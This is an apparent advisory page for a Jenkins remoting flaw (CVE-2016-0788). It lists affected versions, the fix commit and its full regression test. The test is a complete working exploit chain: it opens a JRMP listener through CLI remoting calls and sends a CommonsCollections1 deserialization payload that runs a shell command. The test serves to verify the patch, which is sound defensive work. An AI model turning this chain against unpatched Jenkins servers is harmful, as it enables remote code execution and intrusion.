Jenkins allows Execution of Code by Opening a JRMP Listener
Research is free — Hunters explains how the bug works, the root-cause code pattern, how the fix addresses it, and how to test whether a target is affected, in chat. Investigate & write exploit is a paid run — the engine reads the advisory and fix commits, then builds and validates a working proof-of-concept exploit with reproduction steps.
Affected versions
1.643 → fixed in 1.6500 → fixed in 1.642.2
Details
The remoting module in Jenkins before 1.650 and LTS before 1.642.2 allows remote attackers to execute arbitrary code by opening a JRMP listener.
The fix
[FIXED SECURITY-232] Integrating Remoting build with
pom.xml+1 −1
@@ -176,7 +176,7 @@ THE SOFTWARE.<dependency><groupId>org.jenkins-ci.main</groupId><artifactId>remoting</artifactId>-<version>2.53.2</version>+<version>2.53.3-20160203.223637-1</version></dependency><dependency>
test/src/test/java/jenkins/security/Security232Test.java+256 −0
@@ -0,0 +1,256 @@+package jenkins.security;++import hudson.remoting.Callable;+import hudson.remoting.Channel;+import hudson.remoting.Channel.Mode;+import hudson.remoting.ChannelBuilder;+import hudson.remoting.ClassFilter;+import hudson.remoting.JarLoader;+import java.io.DataOutputStream;+import java.io.File;+import java.io.IOException;+import java.io.ObjectOutputStream;+import java.io.OutputStream;+import java.lang.reflect.Constructor;+import java.lang.reflect.Field;+import java.lang.reflect.InvocationHandler;+import java.lang.reflect.Method;+import java.lang.reflect.Proxy;+import java.net.HttpURLConnection;+import java.net.InetSocketAddress;+import java.net.Socket;+import java.net.URL;+import java.net.URLClassLoader;+import java.rmi.activation.ActivationDesc;+import java.rmi.activation.ActivationID;+import java.rmi.activation.ActivationInstantiator;+import java.rmi.server.ObjID;+import java.rmi.server.RemoteObject;+import java.rmi.server.UnicastRemoteObject;+import java.util.concurrent.ExecutorService;+import java.util.concurrent.Executors;+import javax.net.SocketFactory;+import static jenkins.security.security218.Payload.CommonsCollections1;+import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;+import jenkins.security.security218.ysoserial.payloads.ObjectPayload;+import static org.junit.Assert.*;+import org.junit.Rule;+import org.junit.Test;+import org.jvnet.hudson.test.Issue;+import org.jvnet.hudson.test.JenkinsRule;+import sun.reflect.ReflectionFactory;+import sun.rmi.server.ActivationGroupImpl;+import sun.rmi.server.UnicastRef2;+import sun.rmi.server.Util;+import sun.rmi.transport.LiveRef;+import sun.rmi.transport.TransportConstants;+import sun.rmi.transport.tcp.TCPEndpoint;++/**+* @author mbechler, adapted for JUnit/JenkinsRule by jglick+*/+@Issue("SECURITY-232")+public class Security232Test {++@Rule+public JenkinsRule r = new JenkinsRule();++@Test+public void commonsCollections1() throws Exception {+File pwned = new File(r.jenkins.getRootDir(), "pwned");++int jrmpPort = 12345;+URL u = r.getURL();++HttpURLConnection hc = (HttpURLConnection) u.openConnection();+int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));++InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip);+Socket s = null;+Channel c = null;+try {+System.err.println("* Opening socket " + isa);+s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());+s.setKeepAlive(true);+s.setTcpNoDelay(true);++System.err.println("* Opening channel");+OutputStream outputStream = s.getOutputStream();++DataOutputStream dos = new DataOutputStream(outputStream);++dos.writeUTF("Protocol:CLI-connect");++ExecutorService cp = Executors.newCachedThreadPool();+c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);++System.err.println("* Channel open");++Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");++Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);+reqCons.setAccessible(true);++Object getJarLoader = reqCons+.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {+JarLoader.class.getName() + ".ours"+});++Object call = c.call((Callable<Object,Exception>) getJarLoader);+InvocationHandler remote = Proxy.getInvocationHandler(call);+Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler");+Field oidF = rih.getDeclaredField("oid");+oidF.setAccessible(true);+int oid = oidF.getInt(remote);++System.err.println("* JarLoader oid is " + oid);++Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();+uroC.setAccessible(true);+ReflectionFactory rf = ReflectionFactory.getReflectionFactory();+Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);+sc.setAccessible(true);+UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();++Field portF = UnicastRemoteObject.class.getDeclaredField("port");+portF.setAccessible(true);+portF.set(uro, jrmpPort);+Field f = RemoteObject.class.getDeclaredField("ref");+f.setAccessible(true);+f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true)));++Object o = reqCons+.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {+uro,+});++try {+c.call((Callable<Object,Exception>) o);+}+catch ( Exception e ) {+// [ActivationGroupImpl[UnicastServerRef [liveRef:+// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]]++e.printStackTrace();++String msg = e.getMessage();+int start = msg.indexOf("objID:[");+if ( start < 0 ) {+return; // good, got blocked before we even got this far+}++int sep = msg.indexOf(", ", start + 1);++if ( sep < 0 ) {+throw new Exception("Failed to get object id, separator");+}++int end = msg.indexOf("]", sep + 1);++if ( end < 0 ) {+throw new Exception("Failed to get object id, separator");+}++String uid = msg.substring(start + 7, sep);+String objNum = msg.substring(sep + 2, end);++System.err.println("* UID is " + uid);+System.err.println("* ObjNum is " + objNum);++String[] parts = uid.split(":");++long obj = Long.parseLong(objNum);+int o1 = Integer.parseInt(parts[ 0 ], 16);+long o2 = Long.parseLong(parts[ 1 ], 16);+short o3 = Short.parseShort(parts[ 2 ], 16);++exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned);+}++c.close();+}+finally {+if ( s != null ) {+s.close();+}+}++Thread.sleep(5000);++assertFalse("Pwned!", pwned.exists());+}+++/**+* @param inetSocketAddress+* @param obj+* @param o1+* @param o2+* @param o3+* @throws IOException+*/+private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg )+throws Exception {+Socket s = null;+try {+System.err.println("* Opening JRMP socket " + isa);+s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());+s.setKeepAlive(true);+s.setTcpNoDelay(true);++OutputStream os = s.getOutputStream();+DataOutputStream dos = new DataOutputStream(os);++dos.writeInt(TransportConstants.Magic);+dos.writeShort(TransportConstants.Version);+dos.writeByte(TransportConstants.SingleOpProtocol);++dos.write(TransportConstants.Call);++final ObjectOutputStream objOut = new ObjectOutputStream(dos) {++protected void annotateClass ( Class<?> cl ) throws IOException {+if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {+writeObject(null);+}+else {+URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();+String cb = "";+for ( URL u : us ) {+cb += u.toString();+}+writeObject(cb);+}+}+++/**+* Serializes a location from which to load the specified class.+*/+protected void annotateProxyClass ( Class<?> cl ) throws IOException {+annotateClass(cl);+}+};++objOut.writeLong(obj);+objOut.writeInt(o1);+objOut.writeLong(o2);+objOut.writeShort(o3);++objOut.writeInt(-1);+objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));++System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation());+final Object object = payload.getObject(payloadArg);+objOut.writeObject(object);++os.flush();+}+finally {+if ( s != null ) {+s.close();+}+}+}++}
References
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2016-0788
- WEBhttps://github.com/jenkinsci/jenkins/commit/1ec232ca1c80e924d70212313b852aec408aa37e
- WEBhttps://access.redhat.com/errata/RHSA-2016:0711
- PACKAGEhttps://github.com/jenkinsci/jenkins
- WEBhttps://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24
- WEBhttp://rhn.redhat.com/errata/RHSA-2016-1773.html